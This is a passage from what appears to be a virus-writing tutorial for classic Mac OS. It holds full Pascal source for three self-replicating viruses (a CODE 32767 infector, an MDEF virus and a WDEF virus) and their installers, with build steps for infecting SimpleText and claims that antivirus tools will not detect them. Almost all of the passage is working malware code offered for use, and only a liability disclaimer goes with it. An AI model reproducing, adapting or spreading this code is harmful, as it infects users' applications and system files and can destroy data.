  1915.    goto 1001;                    {exit if we can't get the memory}
  1916.   hlock(handle(cipbh));                  {lock to use}
  1917.   nextcleanapp(fsrtdirid);                {search for next uninfected appl}
  1918.   hunlock(handle(cipbh));                 {unlock to free}
  1919.   disposehandle(handle(cipbh));               {dispose of}
  1920.   if foundone then       {we have an open resource file ready for proccessing}
  1921.    begin
  1922. {Add viral resource}
  1923.     SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle));
  1924.     CopyHandle := NewHandle(SegmentSize);        {Allocate memory fo copied handle}
  1925.     if MemError <> noErr then
  1926.      goto 1000;
  1927.     HLock(Handle(VirusSegBeginHandle));
  1928.     HLock(CopyHandle);
  1929.     BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize);     {copy memory}
  1930.     with VirusSegmentBeginningHandle(CopyHandle)^^ do
  1931.      begin
  1932.       OffsetOfFirstNormalRoutine := Offset; {Store offset}
  1933.       NormalSegmentNumber := SegNum;  {store segment number}
  1934.      end;
  1935.     HUnlock(CopyHandle);
  1936.     HUnlock(Handle(VirusSegBeginHandle));
  1937.     AddResource(CopyHandle, 'CODE', $7FFF, '');
  1938.     if ResError <> noErr then
  1939.      goto 1000;
  1940.     Dummy := Get1Resource('CODE', $7FFF);
  1941.     Attributes := GetResAttrs(Dummy);
  1942.     Attributes := Attributes + ResLocked + ResPreload;
  1943.     SetResAttrs(Dummy, Attributes);
  1944.     UpdateResFile(opened);
  1945.     DisposeHandle(CopyHandle);
  1946. {Deal with JumpTable}
  1947.     ClearResProtected(handle(JumpTHandle));       {remove resprotected attribute}
  1948.     HLock(Handle(JumpTHandle));
  1949.     with JumpTHandle^^ do
  1950.      begin
  1951.       OffsetOfFirstRoutine := $0000;      {change with ours}
  1952.       SegmentNumber := $7FFF;        {32767 in hex}
  1953.      end;
  1954.     HUnlock(Handle(JumpTHandle));
  1955.     ChangedResource(Handle(JumpTHandle));
  1956.     if ResError <> noErr then
  1957.      goto 1000;
  1958.     UpdateResFile(opened);
  1959. {Now deal with main segment CODE resource}
  1960.     ClearResProtected(handle(GenSegHandle));       {remove resprotected attribute}
  1961.     HLock(Handle(GenSegHandle));      {Now change genral main segment's header}
  1962.     with GenSegHandle^^ do
  1963.      begin
  1964.       OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8;
  1965.       NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1;
  1966.      end;
  1967.     HUnlock(Handle(GenSegHandle));
  1968.     ChangedResource(Handle(GenSegHandle));
  1969.     UpdateResFile(opened);
  1970.    end;  {if foundone}
  1971. 1000:
  1972.   UseResFile(active);
  1973.   if foundone then
  1974.    CloseResFile(opened);
  1975. {Now restore modification dates}
  1976.   if foundone then
  1977.    SetModificationDate;
  1978. {Now bypass the Jump Table and call main segment after we are done}
  1979. 1001:
  1980.   with VirusSegBeginHandle^^ do
  1981.    begin
  1982.     MainCode := Get1Resource('CODE', NormalSegmentNumber);
  1983.     CleanStackAndCall(ProcPtr(Ord(StripAddress(MainCode^)) + OffsetOfFirstNormalRoutine + 4)); 
  1984. {4 bytes extra because of the CODE header}
  1985.    end;
  1986.  end;
  1987. end.
  1988.  
  1989. The comments at the end of each statement give an accurate description of how the virus 
  1990. works. You can of course re-use several of the utility routines in this virus, such as the jumping 
  1991. "indirect" via the A0 register, even in asm, provided you perform the correct pointer calculations. 
  1992. Now let's take a look on how we modify the header of the code segment produced by the Pascal 
  1993. compiler.
  1994. {*********************************************************}
  1995. {This Program Fixes the Header of the CODE resource produced by the Pascal Compiler. Select Go 
  1996. from the Run Menu, after you adjust the pathnames to reflect your disk structure. For an explanation 
  1997. of the data structures, see the same data structures on the main program}
  1998. {*********************************************************}
  1999. program FixHeader;
  2000.  label
  2001.   1000;
  2002.  const
  2003.   MainSegmentFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767body'; {change here 
  2004. to your dir names}
  2005.  type
  2006.   VirusSegmentBeginning = record
  2007.     OffsetOfFirstEntryfromBegOfJT: integer;
  2008.     NumberOfEntriesForThisSeg: integer;
  2009.     BRANextInstruction: integer;
  2010.     OffsetOfFirstNormalRoutine: integer;
  2011.     NormalSegmentNumber: integer;
  2012.     Free1: longint;
  2013.     Free2: longint;
  2014.     Free3: longint;
  2015.     Free4: integer;
  2016.    end;
  2017.   VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
  2018.   VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
  2019.  var
  2020.   VirusSegBeginHandle: VirusSegmentBeginningHandle;
  2021.   refnum: integer;
  2022. begin
  2023.  ShowText;
  2024.  refnum := OpenResFile(MainSegmentFileName);
  2025.  writeln('OpenResFile:', ResError);
  2026.  if ResError <> noErr then
  2027.   goto 1000;
  2028.  VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint));
  2029.  writeln('GetResource:(nil handle)', VirusSegBeginHandle = nil);
  2030.  if VirusSegBeginHandle = nil then
  2031.   goto 1000;
  2032.  HLock(handle(VirusSegBeginHandle));
  2033.  with VirusSegBeginHandle^^ do
  2034.   begin
  2035.    OffsetOfFirstEntryfromBegOfJT := $0000;
  2036.    NumberOfEntriesForThisSeg := $0001;
  2037.    BRANextInstruction := $6012;  {BRA.S NextExecutableInstruction}
  2038.    OffsetOfFirstNormalRoutine := $0000;
  2039.    NormalSegmentNumber := $0001;  {usually segment #1}
  2040.    Free1 := longint('FILE');
  2041.    Free2 := longint('PRED');
  2042.    Free3 := longint('ATOR');
  2043.    Free4 := integer('VR');
  2044.   end;
  2045.  HUnLock(handle(VirusSegBeginHandle));
  2046.  ChangedResource(handle(VirusSegBeginHandle));
  2047.  writeln('ChangedResource:', ResError);
  2048. 1000:
  2049.  CloseResFile(refnum);
  2050. end.
  2051.  
  2052. And finally the virus installer:
  2053. {*********************************************************}
  2054. {This Program installs the virus on an application of your choosing. Here for simplicity we use 
  2055. TeachText}
  2056. {*********************************************************}
  2057. program Install32767;
  2058.  label
  2059.   1000;
  2060.  const
  2061.   CodeResourceFileName = 'Hard Disk:CharConvert:CODE 32767:32767:32767Body';
  2062.   ApplicationFileName = 'Hard Disk:CharConvert:CODE 32767:Test Appls:SimpleText';
  2063.  type
  2064.   JumpTable = record{the Jump Table record which represents the beginning}
  2065.     AboveA5: longint;          {of CODE resource 0}
  2066.     BelowA5: longint;
  2067.     LengthOfJT: longint;
  2068.     OffSet2JTFromLocA5: longint;
  2069.     OffsetOfFirstRoutine: integer;      {THIS field interests us}
  2070.     MoveWordInstruction: integer;
  2071.     SegmentNumber: integer;        {THIS field interests us}
  2072.     LoadSegTrap: integer;
  2073.    end;
  2074.   JumpTablePtr = ^JumpTable;
  2075.   JumpTableHandle = ^JumpTablePtr;
  2076.   VirusSegmentBeginning = record      {representation of the 32767 CODE segment start}
  2077.     OffsetOfFirstEntryfromBegOfJT: integer;
  2078.     NumberOfEntriesForThisSeg: integer;
  2079.     BRANextInstruction: integer;
  2080.     OffsetOfFirstNormalRoutine: integer;    {this is where we store the field "OffsetOfFirstRoutine" 
  2081. above}
  2082.     NormalSegmentNumber: integer;      {this is where we store the field "SegmentNumber", above}
  2083.     Free1: longint;
  2084.     Free2: longint;
  2085.     Free3: longint;
  2086.     Free4: integer;
  2087.    end;
  2088.   VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
  2089.   VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
  2090.   cinfopbhandle = ^cinfopbptr;   {directory scan parameter block handle}
  2091.   GeneralSegment = record
  2092.     OffsetOfFirstEntryfromBegOfJT: integer;
  2093.     NumberOfEntriesForThisSeg: integer;
  2094.    end;
  2095.   GeneralSegmentPtr = ^GeneralSegment;
  2096.   GeneralSegmentHandle = ^GeneralSegmentPtr;
  2097.  var
  2098.   VirusSegBeginHandle: VirusSegmentBeginningHandle;    {to access the 32767 CODE resource}
  2099.   JumpTHandle: JumpTableHandle;         {to access the Jump Table of the infected application}
  2100.   GenSegHandle: GeneralSegmentHandle;   {to access a general segment}
  2101.   CopyHandle, theVirus: Handle;{Copy of a segment to add to the infected file}
  2102.   SegmentSize: integer;         {Size of the segment above}
  2103.   refnum1, refnum2, Offset, SegNum: integer;
  2104.   err: OSErr;
  2105.   Attributes: integer;
  2106.   Dummy: Handle;
  2107. begin
  2108.  ShowText;
  2109.  refnum1 := OpenResFile(CodeResourceFileName);
  2110.  err := ResError;
  2111.  writeln('OpenResFile:', err);
  2112.  if err <> noErr then
  2113.   goto 1000;
  2114.  refnum2 := OpenResFile(ApplicationFileName);
  2115.  err := ResError;
  2116.  writeln('OpenResFile:', err);
  2117.  if err <> noErr then
  2118.   goto 1000;
  2119.  UseResFile(refnum2);
  2120.  JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0));     {Get a hold of its jump table}
  2121.  writeln('Get1Resource:(nil handle)', JumpTHandle = nil);
  2122.  if JumpTHandle = nil then
  2123.   goto 1000;
  2124.  HLock(Handle(JumpTHandle));
  2125.  with JumpTHandle^^ do
  2126.   begin
  2127.    Offset := OffsetOfFirstRoutine;      {Get offset to first routine}
  2128.    SegNum := SegmentNumber;       {in segment #}
  2129.    OffsetOfFirstRoutine := $0000;      {change with ours}
  2130.    SegmentNumber := $7FFF;        {32767 in hex}
  2131.   end;
  2132.  HUnlock(Handle(JumpTHandle));
  2133.  ChangedResource(Handle(JumpTHandle));
  2134.  err := ResError;
  2135.  writeln('ChangedResource:', err);
  2136.  if err <> noErr then
  2137.   goto 1000;
  2138.  GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum));  {Get a hold of its 
  2139. main segment}
  2140.  writeln('Get1Resource:(nil handle)', GenSegHandle = nil);
  2141.  if GenSegHandle = nil then
  2142.   goto 1000;
  2143.  HLock(Handle(GenSegHandle));
  2144.  with GenSegHandle^^ do
  2145.   begin
  2146.    OffsetOfFirstEntryfromBegOfJT := OffsetOfFirstEntryfromBegOfJT + 8;
  2147.    NumberOfEntriesForThisSeg := NumberOfEntriesForThisSeg - 1;
  2148.   end;
  2149.  HUnlock(Handle(GenSegHandle));
  2150.  ChangedResource(Handle(GenSegHandle));
  2151.  err := ResError;
  2152.  writeln('ChangedResource:', err);
  2153.  if err <> noErr then
  2154.   goto 1000;
  2155.  UseResFile(refnum1);
  2156.  VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint));  {Bring it 
  2157. from main resource file}
  2158.  writeln('GetResource (nil handle):', VirusSegBeginHandle = nil);
  2159.  if VirusSegBeginHandle = nil then
  2160.   goto 1000;
  2161.  SegmentSize := GetHandleSize(Handle(VirusSegBeginHandle));
  2162.  CopyHandle := NewHandle(SegmentSize);
  2163.  err := MemError;
  2164.  writeln('NewHandle:', err);
  2165.  if err <> noErr then
  2166.   goto 1000;
  2167.  HLock(Handle(VirusSegBeginHandle));
  2168.  HLock(CopyHandle);
  2169.  BlockMove(Handle(VirusSegBeginHandle)^, CopyHandle^, SegmentSize);
  2170.  with VirusSegmentBeginningHandle(CopyHandle)^^ do
  2171.   begin
  2172.    OffsetOfFirstNormalRoutine := Offset;
  2173.    NormalSegmentNumber := SegNum;
  2174.   end;
  2175.  HUnlock(CopyHandle);
  2176.  HUnlock(Handle(VirusSegBeginHandle));
  2177.  UseResFile(refnum2);
  2178.  AddResource(CopyHandle, 'CODE', $7FFF, '');
  2179.  err := ResError;
  2180.  writeln('AddResource:', err);
  2181.  Dummy := Get1Resource('CODE', maxint);
  2182.  Attributes := GetResAttrs(Dummy);
  2183.  Attributes := Attributes + ResLocked + ResPreload;
  2184.  SetResAttrs(Dummy, Attributes);
  2185.  err := ResError;
  2186.  writeln('SetResAttrs:', err);
  2187.  CloseResFile(refnum1);
  2188.  CloseResFile(refnum2);
  2189.  DisposeHandle(CopyHandle);
  2190. 1000:
  2191. end.
  2192.  
  2193. Note that in the case of the Installer, we don't need to make implicit calculations, because we 
  2194. know which program we are going to infect, so we can just look at its jump table and modify it 
  2195. accordingly. This last program is in essence nothing more than a batch facility which allows for quick 
  2196. modification of the target file, the first host.
  2197.  
  2198. FOURTH EXAMPLE: A MDEF VIRUS
  2199.  
  2200. DESCRIPTION:
  2201.  
  2202. This is an MDEF virus. This virus is mainly memory resident, meaning that once it activates, it stays 
  2203. in memory until a hard restart is executed. The idea behind its activation is simple. The MDEF code 
  2204. header looks like this:
  2205. BRA.S    MAIN
  2206. DC.W        #$0000
  2207. DC.W        #$4D44
  2208. DC.W        #$4546
  2209. DC.W        #$0000
  2210. DC.W        #$000E
  2211. LINK        A6,#-$0166
  2212. ...
  2213. if, instead, we patched the code to jump to a subroutine BEFORE the activation of the MDEF, we 
  2214. have nice viral code that gets executed, before the actual MDEF. Therefore, consider the following 
  2215. patch of the header:
  2216. BSR        VIRUS
  2217. BRA.S    MAIN
  2218. DC.W        whatever info we want (integer)
  2219. DC.W        whatever info we want (integer)
  2220. DC.W        whatever info we want (integer)
  2221. LINK        A6,#-$0166
  2222. ...
  2223. ...
  2224. VIRUS:LINK    a6,#xxx
  2225.     MORE VIRAL CODE
  2226.     MORE
  2227.     ...
  2228.     RTS
  2229. ------------------------------------
  2230. This patch ensures that every time the MDEF gets executed, the viral code will be executed first. If an 
  2231. infected application is run, it will immediately infect the System file. Once the System file gets 
  2232. infected, every application that tries to execute will be infected immediately. Since the MDEF with 
  2233. id=0 gets called whenever the menu manager accesses a menu, the virus activates many times during 
  2234. an application execution, trying to enter the System. If it manages that, it will stay there forever as 
  2235. part of the System Resources. It is one of the simplest and most virulent viruses so far, thus exercise 
  2236. great caution when you run an infected application. It is a new virus, thus no antiviral tool or program 
  2237. will detect it, except programs like SAM Intercept and GateKeeper which monitor operations by 
  2238. patching traps of the Resource Manager. It is not a malignant virus, contrary to the CODE 32767 and 
  2239. T4 viruses, which erase Hard Disks.
  2240. The virus "mutates" in the naive sense, meaning that it will attach copies of itself to the DIFFERENT 
  2241. original MDEF's that each System has. For example, if the virus is run on a System 7.0 but its MDEF 
  2242. is  of version 7.5.3, it will adapt to the particular MDEF for System 7.0. The viral code itself does not 
  2243. mutate, but the MDEF as a whole will mutate if transferred from one System to another of different 
  2244. versions. Accordingly, the main "host" of the virus is the MDEF it sits upon. The secondary host, is 
  2245. the application or file that caries the virus. Of course, this may lead to trouble, if a newer MDEF 
  2246. infected file is carried into an older System. The virus itself, is 500 bytes long, which is the shortest 
  2247. virus ever made. But upon attaching itself on a MDEF resource, it assumes the sum of the individual 
  2248. sizes.
  2249. A side effect of the virus, is that it stays active in memory, even after its deactivation. Thus the System 
  2250. immediately starts executing the viral code after the infected application quits.
  2251. The MDEF folder consists of two programs, MDEF.p which is the heart of the virus, and 
  2252. MDEFInstall.p, which installs the MDEF resource in the application of your choosing. To create an 
  2253. infected application:
  2254. 1)Open the project MDEF.proj and select "Build Code Resource" from the menu.
  2255. 2)Open the project MDEFInstall.proj and select "Go" from the menu.
  2256. The application SimpleText on your directory will be an infected application.
  2257. CAUTION: YOU HAVE BEEN WARNED. BE VERY CAREFUL WHEN YOU RUN THIS 
  2258. APPLICATION. IT WILL INFECT YOUR HARD DISK AND GRADUALLY ALL THE 
  2259. APPLICATIONS IN IT, AND POSSIBLY OTHER FILES AS WELL. YOU ARE LIABLE TO 
  2260. CRIMINAL PENALTIES IF YOU RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE 
  2261. IF YOU DO.
  2262.  
  2263. unit MDEF;
  2264. interface
  2265.  procedure Main;
  2266. implementation
  2267.  procedure Main;
  2268.   label
  2269.    1000;
  2270.   type
  2271.    PtrPtr = ^Ptr;            {To retrieve the virus entry point address}
  2272.    MDEFHeader = array[1..6] of integer;  {To access the MDEF header}
  2273.    MDEFHeaderPtr = ^MDEFHeader;
  2274.    MDEFHeaderHandle = ^MDEFHeaderPtr;
  2275.   var
  2276.    CurrentResFile, theAttrs, BranchOffset, Bytes2Copy: integer;
  2277.    theMDEF, theApplMDEF, theSysMDEF: Handle;
  2278.    comesFromApplication, SystemInfected, ApplicationInfected: boolean;
  2279.    EntryAddress: Ptr;
  2280.  begin
  2281.   currentResFile := CurResFile;           {find out the current res file}
  2282.   theMDEF := GetResource('MDEF', 0);   {load MDEF 0}
  2283.   comesFromApplication := HomeResFile(theMDEF) = CurResFile;  {T if MDEF loaded from 
  2284. CurResFile}
  2285.   if comesFromApplication then           {loaded from appl}
  2286.    begin {check System}
  2287.     UseResFile(0);                {switch to System}
  2288.     theSysMDEF := Get1Resource('MDEF', 0);      {get the system MDEF}
  2289.     SystemInfected := (MDEFHeaderHandle(theSysMDEF)^^[5] = integer('BA')) and 
  2290. (MDEFHeaderHandle(theSysMDEF)^^[6] = integer('CH')); {see if the system MDEF is an infected 
  2291. version}
  2292.     if not SystemInfected then  {infect System File}
  2293.      begin
  2294. {theSysMDEF now contains a handle to the System Heap code, and theMDEF contains a handle to 
  2295. the Application MDEF}
  2296. {Now calculate the offset to the virus branch point...}
  2297.       BranchOffset := SizeResource(theSysMDEF) - 2;
  2298. {Next calculate the actual size of the virus. From the size of the MDEF, subtract the size of the 
  2299. nonviral part}
  2300.       Bytes2Copy := SizeResource(theMDEF) - ABS(Ord(StripAddress(theMDEF^)) - 
  2301. Ord(StripAddress(EntryAddress)));
  2302.       HUnlock(theSysMDEF);
  2303. {Next concatenate the virus to the System MDEF...}
  2304.       if PtrAndHand(EntryAddress, theSysMDEF, Bytes2Copy) <> noErr then
  2305.        goto 1000;
  2306. {Now fix the Header...}
  2307.       HLock(theSysMDEF);
  2308.       MDEFHeaderHandle(theSysMDEF)^^[1] := $6100;   {BSR}
  2309.       MDEFHeaderHandle(theSysMDEF)^^[2] := BranchOffset; {branch point}
  2310.       MDEFHeaderHandle(theSysMDEF)^^[3] := $6006;   {BRA.S <Anon1>}
  2311.       MDEFHeaderHandle(theSysMDEF)^^[4] := integer('JS'); {'JSBACH'}
  2312.       MDEFHeaderHandle(theSysMDEF)^^[5] := integer('BA');
  2313.       MDEFHeaderHandle(theSysMDEF)^^[6] := integer('CH');
  2314.       HUnlock(theSysMDEF);
  2315. {Finally set the resource attributes for the MDEF...}
  2316.       theAttrs := GetResAttrs(theSysMDEF);
  2317.       SetResAttrs(theSysMDEF, theAttrs + ResSysHeap + ResLocked - ResPurgeable);
  2318. {Now mark permanent, and rewrite System File...}
  2319.       ChangedResource(theSysMDEF);
  2320.       if ResError <> noErr then
  2321.        goto 1000;
  2322.       UpdateResFile(0);
  2323.      end
  2324.     else
  2325.      goto 1000;   {exit, System is infected}
  2326.    end
  2327.   else {comes from System}
  2328. {Note that if it both System and Application are infected, }
  2329. {comesFromApplication will be TRUE, and we processed that already. So,}
  2330. {we need to process only one case: (which is the case Application is not infected)}
  2331. {but we check the other for completeness}
  2332.    begin
  2333.     UseResFile(CurrentResFile);      {use opened res file}
  2334.     theApplMDEF := Get1Resource('MDEF', 0);  {try to load MDEF from file}
  2335.     ApplicationInfected := theApplMDEF <> nil; {did load?}
  2336.     if not ApplicationInfected then {if not found, infect}
  2337.      begin
  2338.       UseResFile(0); {switch to system}
  2339.       theSysMDEF := Get1Resource('MDEF', 0); {load system MDEF}
  2340.       DetachResource(theSysMDEF);  {detach from res file}
  2341.       UseResFile(CurrentResFile); {switch to file we process}
  2342.       AddResource(theSysMDEF, 'MDEF', 0, ''); {add virus}
  2343.       if ResError <> noErr then
  2344.        goto 1000;
  2345.       UpdateResFile(currentResFile);
  2346.      end;
  2347.    end;
  2348. {Don't forget to restore the original application resource file}
  2349. 1000:
  2350.   UseResFile(currentResFile);       {*}
  2351.  end;
  2352. end.
  2353.  
  2354. And finally, here comes the installer.
  2355. {This is the installer of the MDEF virus. It picks the viral segment and concatenates it with the actual 
  2356. MDEF. From that point on, the actual MDEF is doomed to carry with it the viral part. It needs three 
  2357. files to operate. The viral code, the original MDEF code, and a sample application. See the pathnames 
  2358. below}
  2359. program InstallMDEF;
  2360.  type
  2361.   MDEFHeader = array[1..6] of integer;
  2362.   MDEFHeaderPtr = ^MDEFHeader;
  2363.   MDEFHeaderHandle = ^MDEFHeaderPtr;
  2364.   theFiles = (virus, original, destination);
  2365.  var
  2366.   refnum: array[theFiles] of integer;
  2367.   segment: array[theFiles] of Handle;
  2368.   offset: integer;
  2369. begin
  2370.  refNum[virus] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.code');
  2371.  writeln('OpenResFile:', ResError);
  2372.  refnum[original] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.original.rsrc');
  2373.  writeln('OpenResFile:', ResError);
  2374.  refnum[destination] := OpenResFile('Hard Disk:CharConvert:MDEF:SimpleText');
  2375.  writeln('OpenResFile:', ResError);
  2376.  UseResFile(refNum[virus]);
  2377.  segment[virus] := Get1Resource('MDEF', 0);
  2378.  writeln('Get1Resource:', ResError);
  2379.  UseResFile(refNum[original]);
  2380.  segment[original] := Get1Resource('MDEF', 0);
  2381.  writeln('Get1Resource:', ResError);
  2382. {Fix Header}
  2383.  offset := SizeResource(segment[original]) - 2;
  2384.  HLock(segment[original]);
  2385.  MDEFHeaderHandle(segment[original])^^[1] := $6100;  {BSR}
  2386.  MDEFHeaderHandle(segment[original])^^[2] := offset;  {size of MDEF}
  2387.  MDEFHeaderHandle(segment[original])^^[3] := $6006;  {BRA.S <Anon1>}
  2388.  MDEFHeaderHandle(segment[original])^^[4] := integer('JS');  {'JSBACH'}
  2389.  MDEFHeaderHandle(segment[original])^^[5] := integer('BA');
  2390.  MDEFHeaderHandle(segment[original])^^[6] := integer('CH');
  2391.  HUnlock(segment[original]);
  2392. {Now Concatenate the two Segments}
  2393.  HLock(segment[virus]);
  2394.  writeln('HandAndHand:', HandAndHand(segment[virus], segment[original]));
  2395. {Now segment[original] contains the concatenation}
  2396.  HUnlock(segment[virus]);
  2397.  DetachResource(segment[original]);
  2398.  writeln('DetachResource:', ResError);
  2399.  UseResFile(refnum[destination]);
  2400.  AddResource(segment[original], 'MDEF', 0, '');
  2401.  writeln('AddResource:', ResError);
  2402.  CloseResFile(refNum[original]);
  2403.  CloseresFile(refNum[virus]);
  2404.  CloseResFile(refNum[destination]);
  2405. end.
  2406.  
  2407. FIFTH EXAMPLE: A WDEF VIRUS
  2408.  
  2409. unit WDEF;
  2410. interface
  2411.  procedure Main;
  2412. implementation
  2413.  procedure Main;
  2414.   label
  2415.    1000;                 {exit on error label}
  2416.   const
  2417.    SysFile = 0;              {Reference number of System File}
  2418.   type
  2419.    OverrideTable = record          {Format of the ROM Override resource}
  2420.      ROMversion: integer;          {version of ROM to override}
  2421.      ResNum: integer;           {number of resources that follow}
  2422.      ResOvr: array[1..100] of record     {the resources to override}
  2423.        ResType: OSType; {type, for example 'MDEF' (in our case we set it to WDEF)}
  2424.        ResID: integer;           {and the ID (in our case 0)}
  2425.       end;
  2426.     end;
  2427.    OverrideTablePtr = ^OverrideTable;     {Pointer to above structure}
  2428.    OverrideTableHandle = ^OverrideTablePtr;   {Handle to above structure}
  2429.   var
  2430.    CurrentResFile, err: integer;        {CurrentResFile is the refnum of whoever calls this WDEF}
  2431.    theWDEF,    {handle to get hold of the WDEF initially to determine if we come from Sys, ROM or 
  2432. Application}
  2433.    theApplWDEF,           {handle that may come from infected application, or nil if uninfected}
  2434.    theSysWDEF,          {handle that comes from memory or System}
  2435.    theROv,            {our ROM override resource}
  2436.    theSig: Handle;         {our signature}
  2437.    comesFromThisAppl,        {TRUE if WDEF was loaded from application running}
  2438.    SysInfected,           {TRUE if signature exists in System file}
  2439.    ComesFromSys: boolean;      {TRUE if WDEF loads from System}
  2440.    response: longint;        {response from Gestalt selector}
  2441.  begin
  2442.   theWDEF := GetResource('WDEF', 0);  {Get hold of the WDEF loading resource}
  2443.   CurrentResFile := CurResFile;    {find out who is running currently}
  2444.   ComesFromThisAppl := HomeResFile(theWDEF) = CurrentResFile; {TRUE if WDEF loads from 
  2445. application that is run}
  2446.   if ComesFromThisAppl then {infect System}
  2447.    begin
  2448.     UseResFile(SysFile);   {Use System resource file}
  2449.     theSysWDEF := Get1Resource('WDEF', 0);  {there is no way theSysWDEF=nil}
  2450.     ComesFromSys := HomeResFile(theSysWDEF) = 0;  {TRUE if WDEF loaded from System}
  2451.     theSig := Get1Resource('flag', 0);     {get hold of the signature}
  2452.     SysInfected := theSig <> nil;       {if resource does not exist, system clean}
  2453.     if not SysInfected then  {not infected...}
  2454.      begin
  2455.       if ComesFromSys then  {if it comes from System file}
  2456.        begin
  2457.         RmveResource(theSysWDEF);  {Remove old WDEF}
  2458.         if ResError <> noErr then
  2459.          goto 1000;
  2460.        end;
  2461.       DetachResource(theWDEF);     {Detach from Resource file so it loads in memory...}
  2462.       AddResource(theWDEF, 'WDEF', 0, ''); {Add it to the System file}
  2463.       if ResError <> noErr then
  2464.        goto 1000;
  2465.       if Gestalt(gestaltROMversion, response) <> noErr then  {find out which version of ROM we are 
  2466. running}
  2467.        goto 1000;
  2468.       theROv := NewHandle(10);      {create new ROM override handle}
  2469.       if MemError <> noErr then
  2470.        goto 1000;
  2471.       HLock(theROv);
  2472.       with OverrideTableHandle(theROv)^^ do   {fill with required fields}
  2473.        begin
  2474.         ROMVersion := BAND($0000FFFF, response);  {ROM version=whatever we got from gestalt}
  2475.         ResNum := 1;             {we want only WDEF overrides}
  2476.         ResOvr[ResNum].ResType := 'WDEF';     {of ID=0}
  2477.         ResOvr[ResNum].ResID := 0;
  2478.        end;
  2479.       HUnlock(theROv);
  2480.       AddResource(theROv, 'ROv#', BAND($0000FFFF, response), '');  {Add it to System file}
  2481.       if ResError <> noErr then
  2482.        goto 1000;
  2483.       theSig := NewHandle(10);       {Create new signature handle}
  2484.       if MemError <> noErr then
  2485.        goto 1000;
  2486.       HLock(theSig);
  2487.       StringHandle(theSig)^^ := 'temp flag';  {fill with some text}
  2488.       HUnlock(theSig);
  2489.       AddResource(theSig, 'flag', 0, '');    {Add it to system file}
  2490.       if ResError <> noErr then
  2491.        goto 1000;
  2492.       UpdateResFile(SysFile);        {Write all new resources}
  2493.      end;{if not SysInfected}
  2494.    end {comesfromthisappl}
  2495.   else {comes from System or ROM, (SysFile) so infect current Application}
  2496.    begin
  2497.     UseResFile(CurrentResFile);       {use file that's running}
  2498.     theApplWDEF := Get1Resource('WDEF', 0);  {maybe already contains a WDEF?}
  2499.     if theApplWDEF = nil then {appl does not contain WDEF. I suppose if Appl contains a WDEF 0, 
  2500. it is immune}
  2501.      begin         {to this virus}
  2502.       DetachResource(theWDEF);      {Detach...}
  2503.       AddResource(theWDEF, 'WDEF', 0, '');  {Add to application}
  2504.       if ResError <> noErr then
  2505.        goto 1000;
  2506.       UpdateResFile(CurrentResFile);     {Update the file}
  2507.      end;
  2508.    end;
  2509. 1000:
  2510.   UseResFile(CurrentResFile); {Don't forget to restore the original application resource file}
  2511.  end;
  2512. end.
  2513.  
  2514. And here comes the installer:
  2515.  
  2516. {This is the installer of the WDEF virus. It picks the viral segment and concatenates it with the actual 
  2517. WDEF. From that point on, the actual WDEF is doomed to carry with it the viral part. It needs three 
  2518. files to operate. The viral code, the original WDEF code, and a sample application. See the pathnames 
  2519. below}
  2520. program InstallWDEF;
  2521.  const
  2522.   VirusFileName = 'HD2:CharConvert:WDEF:WDEF.code';    {Change pathnames here to reflect the 
  2523. structure}
  2524.   OriginalWDEFFileName = 'HD2:CharConvert:WDEF:WDEF.original.rsrc';   {of your disk}
  2525.   DestinationFileName = 'HD2:CharConvert:WDEF:SimpleText';
  2526.  type
  2527.   WDEFHeader = array[1..6] of integer;   {interpretation of the header the Pascal compiler sets up, as 
  2528. 6 integers}
  2529.   WDEFHeaderPtr = ^WDEFHeader;     {Pointer to above structure}
  2530.   WDEFHeaderHandle = ^WDEFHeaderPtr;   {handle to above structure}
  2531.   theFiles = (virus, original, destination);
  2532.  var
  2533.   refnum: array[theFiles] of integer;
  2534.   segment: array[theFiles] of Handle;
  2535.   offset: integer;
  2536. begin
  2537.  refNum[virus] := OpenResFile(VirusFileName);
  2538.  writeln('OpenResFile:', ResError);
  2539.  refnum[original] := OpenResFile(OriginalWDEFFileName);
  2540.  writeln('OpenResFile:', ResError);
  2541.  refnum[destination] := OpenResFile(DestinationFileName);
  2542.  writeln('OpenResFile:', ResError);
  2543.  UseResFile(refNum[virus]);
  2544.  segment[virus] := Get1Resource('WDEF', 0);
  2545.  writeln('Get1Resource:', ResError);
  2546.  UseResFile(refNum[original]);
  2547.  segment[original] := Get1Resource('WDEF', 0);
  2548.  writeln('Get1Resource:', ResError);
  2549. {Fix Header}
  2550.  offset := SizeResource(segment[original]) - 2;
  2551.  HLock(segment[original]);
  2552.  WDEFHeaderHandle(segment[original])^^[1] := $6100;  {BSR}
  2553.  WDEFHeaderHandle(segment[original])^^[2] := offset;  {branch to virus}
  2554.  WDEFHeaderHandle(segment[original])^^[3] := $6006;  {BRA.S <Anon1>}
  2555.  WDEFHeaderHandle(segment[original])^^[4] := integer('JS');  {'JSBACH'}
  2556.  WDEFHeaderHandle(segment[original])^^[5] := integer('BA');
  2557.  WDEFHeaderHandle(segment[original])^^[6] := integer('CH');
  2558.  HUnlock(segment[original]);
  2559. {Now Concatenate the two Segments}
  2560.  HLock(segment[virus]);
  2561.  writeln('HandAndHand:', HandAndHand(segment[virus], segment[original]));
  2562. {Now segment[original] contains the concatenation}
  2563.  HUnlock(segment[virus]);
  2564.  DetachResource(segment[original]);
  2565.  writeln('DetachResource:', ResError);
  2566.  UseResFile(refnum[destination]);
  2567.  AddResource(segment[original], 'WDEF', 0, '');
  2568.  writeln('AddResource:', ResError);
  2569.  CloseResFile(refNum[original]);
  2570.  CloseresFile(refNum[virus]);
  2571.  CloseResFile(refNum[destination]);
  2572. end.
  2573.  
